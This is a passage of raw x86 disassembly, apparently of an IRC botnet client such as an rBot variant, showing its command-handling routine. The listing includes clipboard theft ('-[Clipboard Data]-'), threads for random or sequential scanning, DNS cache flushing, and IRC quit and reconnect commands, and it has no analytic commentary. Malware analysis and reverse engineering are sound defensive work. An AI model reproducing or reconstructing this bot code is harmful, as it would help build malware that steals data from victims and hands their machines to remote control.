		lea	eax, [ebp+var_D0]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_43C9C8	; getsockname
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_CC], eax
		push	[ebp+var_CC]
		call	dword_43CAB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_588]
		push	eax
		call	sub_416BE0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_588]
		push	eax
		call	sub_416EE0
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_41196C


loc_41194A:				; CODE XREF: sub_40CD3A+4C30j
		cmp	eax, ebx
		jz	short loc_41196C
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_588]
		push	30h
		push	eax
		call	sub_416EE0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_41194A


loc_41196C:				; CODE XREF: sub_40CD3A+4C0Ej
					; sub_40CD3A+4C12j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_478], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_44C], eax
		lea	eax, [ebp+var_578]
		push	eax
		mov	[ebp+var_448], 1
		mov	[ebp+var_450], esi
		call	sub_41588A
		mov	edi, offset dword_42C300
		push	offset byte_43B658
		push	edi
		call	sub_415730
		add	esp, 14h
		test	eax, eax
		jz	short loc_4119D6
		push	edi
		lea	eax, [ebp+var_4F8]
		push	80h
		push	eax
		call	sub_41588A
		add	esp, 0Ch
		jmp	short loc_4119DC
; ---------------------------------------------------------------------------


loc_4119D6:				; CODE XREF: sub_40CD3A+4C83j
		mov	[ebp+var_4F8], bl


loc_4119DC:				; CODE XREF: sub_40CD3A+4C9Aj
		cmp	[ebp+var_448], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_4119EE
		mov	eax, offset aSequential	; "Sequential"


loc_4119EE:				; CODE XREF: sub_40CD3A+4CADj
		push	[ebp+var_45C]
		lea	ecx, [ebp+var_588]
		push	[ebp+var_46C]
		push	[ebp+var_470]
		push	[ebp+var_474]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_434200
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	8
		push	eax
		call	sub_414DDA
		add	esp, 2Ch
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_588]
		push	ebx
		push	eax
		push	offset sub_4078DF
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_468]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_411AC9
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_435330
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_411A81:				; CODE XREF: sub_40CD3A+4D97j
		cmp	[ebp+var_8], ebx
		jnz	short loc_411AA0
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_411AA0:				; CODE XREF: sub_40CD3A+4D4Aj
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		pop	ecx


loc_411AAD:				; CODE XREF: sub_40CD3A+4B1Aj
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_41180A
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_411AC1:				; CODE XREF: sub_40CD3A+4D95j
		push	32h
		call	dword_421060	; Sleep


loc_411AC9:				; CODE XREF: sub_40CD3A+4D2Aj
		cmp	[ebp+var_444], ebx
		jz	short loc_411AC1
		jmp	short loc_411A81
; ---------------------------------------------------------------------------


loc_411AD3:				; CODE XREF: sub_40CD3A+2F3Fj
					; sub_40CD3A+4B96j
		push	offset dword_4341B0
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_411ADD:				; CODE XREF: sub_40CD3A+1730j
					; sub_40CD3A+1745j
		push	4
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jle	short loc_411AF3
		push	offset unk_43417C
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_411AF3:				; CODE XREF: sub_40CD3A+4DADj
		mov	eax, [ebp+esi+var_90]
		mov	edi, 104h
		cmp	eax, ebx
		jz	short loc_411B16
		push	eax
		lea	eax, [ebp+var_1428]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 0Ch
		jmp	short loc_411B25
; ---------------------------------------------------------------------------


loc_411B16:				; CODE XREF: sub_40CD3A+4DC7j
		lea	eax, [ebp+var_1428]
		push	edi
		push	eax
		push	ebx
		call	dword_42107C	; GetModuleFileNameA


loc_411B25:				; CODE XREF: sub_40CD3A+4DDAj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_411B35
		mov	esi, offset byte_42C2B4


loc_411B35:				; CODE XREF: sub_40CD3A+4DF4j
		push	esi
		lea	eax, [ebp+var_1324]
		push	edi
		push	eax
		call	sub_41588A
		mov	eax, dword_42C244
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_1218],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_121C],	ebx
		mov	[ebp+var_142C],	eax
		lea	eax, [ebp+var_1214]
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1194],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1190],	eax
		lea	eax, [ebp+var_1324]
		push	eax
		lea	eax, [ebp+var_1428]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_1218]
		push	offset unk_427948
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	sub_414DDA
		add	esp, 38h
		mov	[ebp+var_1220],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_142C]
		push	ebx
		push	eax
		push	offset sub_406B84
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_1220]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_411C08
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434130
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_411C00:				; CODE XREF: sub_40CD3A+4ED4j
		push	32h
		call	dword_421060	; Sleep


loc_411C08:				; CODE XREF: sub_40CD3A+4EB3j
		cmp	[ebp+var_118C],	ebx
		jz	short loc_411C00
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_411C15:				; CODE XREF: sub_40CD3A+1706j
					; sub_40CD3A+171Bj
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_411C34
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jz	short loc_411C34
		push	edi
		call	sub_41587F
		pop	ecx
		jmp	short loc_411C39
; ---------------------------------------------------------------------------


loc_411C34:				; CODE XREF: sub_40CD3A+4EE4j
					; sub_40CD3A+4EEFj
		mov	eax, dword_42C248


loc_411C39:				; CODE XREF: sub_40CD3A+4EF8j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_B1C], eax
		jz	short loc_411C6C
		lea	eax, [ebp+var_C34]
		push	esi
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	short loc_411C97
; ---------------------------------------------------------------------------


loc_411C6C:				; CODE XREF: sub_40CD3A+4F1Fj
		lea	eax, [ebp+var_A80]
		push	104h
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_CC]
		push	ebx
		push	eax
		lea	eax, [ebp+var_A80]
		push	eax
		call	sub_4171E8
		add	esp, 14h


loc_411C97:				; CODE XREF: sub_40CD3A+4F30j
		lea	eax, [ebp+var_C34]
		push	eax
		call	sub_415B10
		cmp	[ebp+eax+var_C35], 5Ch
		pop	ecx
		jnz	short loc_411CC2
		lea	eax, [ebp+var_C34]
		push	eax
		call	sub_415B10
		pop	ecx
		mov	[ebp+eax+var_C35], bl


loc_411CC2:				; CODE XREF: sub_40CD3A+4F72j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_EBC]
		mov	[ebp+var_EC0], esi
		push	80h
		push	eax
		call	sub_41588A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_B20], eax
		lea	eax, [ebp+var_C34]
		mov	[ebp+var_B24], edi
		push	eax
		push	[ebp+var_B30]
		push	esi
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset unk_427810
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	3
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	[ebp+var_B28], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC0]
		push	ebx
		push	eax
		push	offset sub_405A96
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_B28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_411DA5
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4340E0


loc_411D70:				; CODE XREF: sub_40CD3A+343Fj
					; sub_40CD3A+3538j
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_411D7F:				; CODE XREF: sub_40CD3A+3454j
					; sub_40CD3A+354Dj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40D68B
		push	ebx
		push	edi


loc_411D8A:				; CODE XREF: sub_40CD3A+3887j
		lea	eax, [ebp+var_2D8]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_40F913
; ---------------------------------------------------------------------------


loc_411D9D:				; CODE XREF: sub_40CD3A+5071j
		push	32h
		call	dword_421060	; Sleep


loc_411DA5:				; CODE XREF: sub_40CD3A+5028j
		cmp	[ebp+var_B14], ebx
		jz	short loc_411D9D
		jmp	short loc_411D7F
; ---------------------------------------------------------------------------


loc_411DAF:				; CODE XREF: sub_40CD3A+16DCj
					; sub_40CD3A+16F1j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_411DC2
		push	esi
		call	sub_41587F
		jmp	short loc_411DC9
; ---------------------------------------------------------------------------


loc_411DC2:				; CODE XREF: sub_40CD3A+507Ej
		push	8
		call	sub_41503B


loc_411DC9:				; CODE XREF: sub_40CD3A+5086j
		cmp	eax, ebx
		pop	ecx
		jz	loc_412818
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40713F
		jmp	loc_41229A
; ---------------------------------------------------------------------------


loc_411DE9:				; CODE XREF: sub_40CD3A+16B2j
					; sub_40CD3A+16C7j
		mov	eax, dword_43C94C
		cmp	eax, ebx
		jz	short loc_411E0C
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		lea	eax, [ebp+var_2D8]
		jz	short loc_411E05
		push	offset unk_4340A8
		jmp	short loc_411E2D
; ---------------------------------------------------------------------------


loc_411E05:				; CODE XREF: sub_40CD3A+50C2j
		push	offset unk_434068
		jmp	short loc_411E2D
; ---------------------------------------------------------------------------


loc_411E0C:				; CODE XREF: sub_40CD3A+50B6j
		push	offset unk_434028
		lea	eax, [ebp+var_2D8]
		jmp	short loc_411E2D
; ---------------------------------------------------------------------------


loc_411E19:				; CODE XREF: sub_40CD3A+1688j
					; sub_40CD3A+169Dj
		call	sub_409FB2
		test	eax, eax
		lea	eax, [ebp+var_2D8]
		jz	short loc_411E3D
		push	offset unk_433FF0


loc_411E2D:				; CODE XREF: sub_40CD3A+50C9j
					; sub_40CD3A+50D0j ...
		push	200h
		push	eax
		call	sub_41588A
		jmp	loc_40F523
; ---------------------------------------------------------------------------


loc_411E3D:				; CODE XREF: sub_40CD3A+50ECj
		push	offset unk_433FB0
		jmp	short loc_411E2D
; ---------------------------------------------------------------------------


loc_411E44:				; CODE XREF: sub_40CD3A+165Ej
					; sub_40CD3A+1673j
		cmp	[ebp+var_8], ebx
		jnz	short loc_411E63
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_411E63:				; CODE XREF: sub_40CD3A+510Dj
		push	ebx
		push	[ebp+var_4]
		call	sub_409BB1
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		push	offset dword_433F6C
		jmp	loc_412167
; ---------------------------------------------------------------------------


loc_411E85:				; CODE XREF: sub_40CD3A+1584j
					; sub_40CD3A+1599j
		push	7
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jle	short loc_411E98
		push	offset dword_433F30
		jmp	short loc_411EB9
; ---------------------------------------------------------------------------


loc_411E98:				; CODE XREF: sub_40CD3A+5155j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A71A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_411EB4
		push	offset dword_433EF4
		jmp	short loc_411EB9
; ---------------------------------------------------------------------------


loc_411EB4:				; CODE XREF: sub_40CD3A+5171j
		push	offset dword_433EC0


loc_411EB9:				; CODE XREF: sub_40CD3A+4993j
					; sub_40CD3A+515Cj ...
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	loc_40F5D2
; ---------------------------------------------------------------------------


loc_411ECC:				; CODE XREF: sub_40CD3A+155Aj
					; sub_40CD3A+156Fj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4095A9
		jmp	loc_412188
; ---------------------------------------------------------------------------


loc_411EE5:				; CODE XREF: sub_40CD3A+1530j
					; sub_40CD3A+1545j
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C409
		jmp	loc_412188
; ---------------------------------------------------------------------------


loc_411F02:				; CODE XREF: sub_40CD3A+1506j
					; sub_40CD3A+151Bj
		or	edi, 0FFFFFFFFh
		call	dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_411F2B
		push	esi
		call	sub_41587F
		pop	ecx
		mov	edi, eax


loc_411F2B:				; CODE XREF: sub_40CD3A+51E6j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_411F44
		cmp	edi, 0FFFFFFFFh
		jnz	loc_412818


loc_411F44:				; CODE XREF: sub_40CD3A+51FFj
		push	ebx
		call	sub_40A8CF
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_433E94
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078


loc_411F81:				; CODE XREF: sub_40CD3A+328Dj
		add	esp, 28h
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_411F89:				; CODE XREF: sub_40CD3A+14DCj
					; sub_40CD3A+14F1j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_408503
		lea	eax, [ebp+var_2D8]
		push	offset unk_433E60
		push	eax
		call	sub_415316


loc_411FAB:				; CODE XREF: sub_40CD3A+3AAAj
		add	esp, 14h
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_411FB3:				; CODE XREF: sub_40CD3A+14B2j
					; sub_40CD3A+14C7j
		push	1Eh
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jle	short loc_411FE7
		cmp	[ebp+var_8], ebx
		jnz	loc_40D18F
		push	ebx
		push	[ebp+var_4]
		push	offset dword_433E2C
		push	[ebp+var_8C]


loc_411FD7:				; CODE XREF: sub_40CD3A+8D9j
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_411FE7:				; CODE XREF: sub_40CD3A+5283j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_36C]
		push	80h
		push	eax
		call	sub_41588A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_370], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2E4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_2E0], eax
		mov	[ebp+var_2E8], ebx
		jz	short loc_412048
		push	esi
		push	offset aFull	; "full"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412048
		mov	[ebp+var_2E8], 1


loc_412048:				; CODE XREF: sub_40CD3A+52F1j
					; sub_40CD3A+5302j
		lea	eax, [ebp+var_2D8]
		push	offset dword_433DF0
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	1Eh
		push	eax
		call	sub_414DDA
		add	esp, 14h
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_370]
		push	ebx
		push	eax
		push	offset sub_413DFD
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_4120C8
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_433DA0
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	loc_40F5F3
; ---------------------------------------------------------------------------


loc_4120C0:				; CODE XREF: sub_40CD3A+5394j
		push	32h
		call	dword_421060	; Sleep


loc_4120C8:				; CODE XREF: sub_40CD3A+5364j
		cmp	[ebp+var_2DC], ebx
		jz	short loc_4120C0
		jmp	loc_40F5F3
; ---------------------------------------------------------------------------


loc_4120D5:				; CODE XREF: sub_40CD3A+1488j
					; sub_40CD3A+149Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_4120F4
		push	ebx
		push	[ebp+var_4]
		push	offset dword_433D70
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_4120F4:				; CODE XREF: sub_40CD3A+539Ej
		push	[ebp+arg_4]
		call	dword_43CABC	; closesocket
		call	dword_43C984	; WSACleanup
		call	sub_409D34
		push	ebx
		call	dword_421114	; ExitProcess


loc_41210F:				; CODE XREF: sub_40CD3A+145Ej
					; sub_40CD3A+1473j
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40A9D8
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		push	offset dword_433D44
		jmp	short loc_412167
; ---------------------------------------------------------------------------


loc_41213A:				; CODE XREF: sub_40CD3A+1434j
					; sub_40CD3A+1449j
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40AC8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		push	offset dword_433D18


loc_412167:				; CODE XREF: sub_40CD3A+5146j
					; sub_40CD3A+53FEj
		call	sub_40B078


loc_41216C:				; CODE XREF: sub_40CD3A+404Ej
		add	esp, 18h
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_412174:				; CODE XREF: sub_40CD3A+140Aj
					; sub_40CD3A+141Fj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B118


loc_412188:				; CODE XREF: sub_40CD3A+3A9j
					; sub_40CD3A+51A6j ...
		add	esp, 10h
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_412190:				; CODE XREF: sub_40CD3A+13E0j
					; sub_40CD3A+13F5j
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_A0C], bl
		jz	short loc_4121CF
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_4121CF
		push	esi
		push	[ebp+var_C]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4121CF
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_A0C]
		push	80h
		push	eax
		call	sub_41588A
		add	esp, 10h


loc_4121CF:				; CODE XREF: sub_40CD3A+545Fj
					; sub_40CD3A+546Aj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_A8C]
		push	80h
		push	eax
		call	sub_41588A
		mov	eax, [ebp+arg_4]
		push	offset dword_433CEC
		mov	[ebp+var_A90], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_988], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_984], eax
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	1Ch
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	[ebp+var_98C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A90]
		push	ebx
		push	eax
		push	offset sub_40B18A
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_98C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_412272
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_433CA0
		jmp	loc_412993
; ---------------------------------------------------------------------------


loc_41226A:				; CODE XREF: sub_40CD3A+553Ej
		push	32h
		call	dword_421060	; Sleep


loc_412272:				; CODE XREF: sub_40CD3A+551Dj
		cmp	[ebp+var_980], ebx
		jz	short loc_41226A
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_41227F:				; CODE XREF: sub_40CD3A+13B6j
					; sub_40CD3A+13CBj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B000
		push	offset dword_433C70
		call	sub_40B078


loc_41229A:				; CODE XREF: sub_40CD3A+50AAj
		add	esp, 10h
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_4122A2:				; CODE XREF: sub_40CD3A+138Cj
					; sub_40CD3A+13A1j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_404]
		push	80h
		push	eax
		call	sub_41588A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_408], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_37C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_378], eax
		jz	short loc_4122FC
		push	offset dword_433C6C
		push	esi
		call	sub_415730
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_380], eax
		jmp	short loc_412302
; ---------------------------------------------------------------------------


loc_4122FC:				; CODE XREF: sub_40CD3A+55A6j
		mov	[ebp+var_380], ebx


loc_412302:				; CODE XREF: sub_40CD3A+55C0j
		lea	eax, [ebp+var_2D8]
		push	offset dword_433C3C
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	1Fh
		push	eax
		call	sub_414DDA
		add	esp, 14h
		mov	[ebp+var_384], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_408]
		push	ebx
		push	eax
		push	offset sub_414E45
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_384]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_412373
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_433BF0
		jmp	loc_411308
; ---------------------------------------------------------------------------


loc_41236B:				; CODE XREF: sub_40CD3A+563Fj
		push	32h
		call	dword_421060	; Sleep


loc_412373:				; CODE XREF: sub_40CD3A+561Ej
		cmp	[ebp+var_374], ebx
		jz	short loc_41236B
		jmp	loc_40F547
; ---------------------------------------------------------------------------


loc_412380:				; CODE XREF: sub_40CD3A+1310j
					; sub_40CD3A+1325j
		push	offset aIds99	; "ids99"
		lea	eax, [ebp+var_2D8]
		push	offset dword_433BC4
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 20h
		jmp	loc_40F547
; ---------------------------------------------------------------------------


loc_4123B7:				; CODE XREF: sub_40CD3A+12E6j
					; sub_40CD3A+12FBj
		push	dword_46AE88
		call	sub_40A8CF
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_433B84
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 24h
		jmp	loc_40F547
; ---------------------------------------------------------------------------


loc_4123F5:				; CODE XREF: sub_40CD3A+12BCj
					; sub_40CD3A+12D1j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_412427
		cmp	[ebp+var_C], ebx
		jz	short loc_412436
		push	esi
		push	[ebp+var_C]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412436
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		add	esp, 0Ch
		jmp	short loc_412436
; ---------------------------------------------------------------------------


loc_412427:				; CODE XREF: sub_40CD3A+56C4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		pop	ecx
		pop	ecx


loc_412436:				; CODE XREF: sub_40CD3A+56C9j
					; sub_40CD3A+56D8j ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_41243E:				; CODE XREF: sub_40CD3A+1292j
					; sub_40CD3A+12A7j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	offset dword_433B30
		call	sub_40B078
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_412460:				; CODE XREF: sub_40CD3A+1268j
					; sub_40CD3A+127Dj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	offset dword_433AEC
		call	sub_40B078
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_412481:				; CODE XREF: sub_40CD3A+123Ej
					; sub_40CD3A+1253j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407075


loc_412492:				; CODE XREF: sub_40CD3A+3FBAj
		add	esp, 0Ch
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_41249A:				; CODE XREF: sub_40CD3A+1199j
					; sub_40CD3A+11AEj
		push	[ebp+esi+var_90]
		push	1Eh
		push	offset dword_433ADC
		push	offset dword_433AD0
		jmp	short loc_4124C2
; ---------------------------------------------------------------------------


loc_4124AF:				; CODE XREF: sub_40CD3A+116Fj
					; sub_40CD3A+1184j
		push	[ebp+esi+var_90]
		push	1Bh
		push	offset dword_433AC4
		push	offset dword_433AB4


loc_4124C2:				; CODE XREF: sub_40CD3A+FEAj
					; sub_40CD3A+1013j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_415062
		add	esp, 20h
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_4124DE:				; CODE XREF: sub_40CD3A+FABj
					; sub_40CD3A+FC0j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4124FD
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jz	short loc_4124FD
		push	edi
		call	sub_41587F
		pop	ecx
		jmp	short loc_412502
; ---------------------------------------------------------------------------


loc_4124FD:				; CODE XREF: sub_40CD3A+57ADj
					; sub_40CD3A+57B8j
		mov	eax, dword_42C240


loc_412502:				; CODE XREF: sub_40CD3A+57C1j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_38C], eax
		cmp	esi, ebx
		jz	short loc_412527
		push	esi


loc_412514:				; CODE XREF: sub_40CD3A+57FCj
		lea	eax, [ebp+var_39C]
		push	10h
		push	eax
		call	sub_41588A
		add	esp, 0Ch
		jmp	short loc_41253E
; ---------------------------------------------------------------------------


loc_412527:				; CODE XREF: sub_40CD3A+57D7j
		cmp	[ebp+var_8FF], bl
		jz	short loc_412538
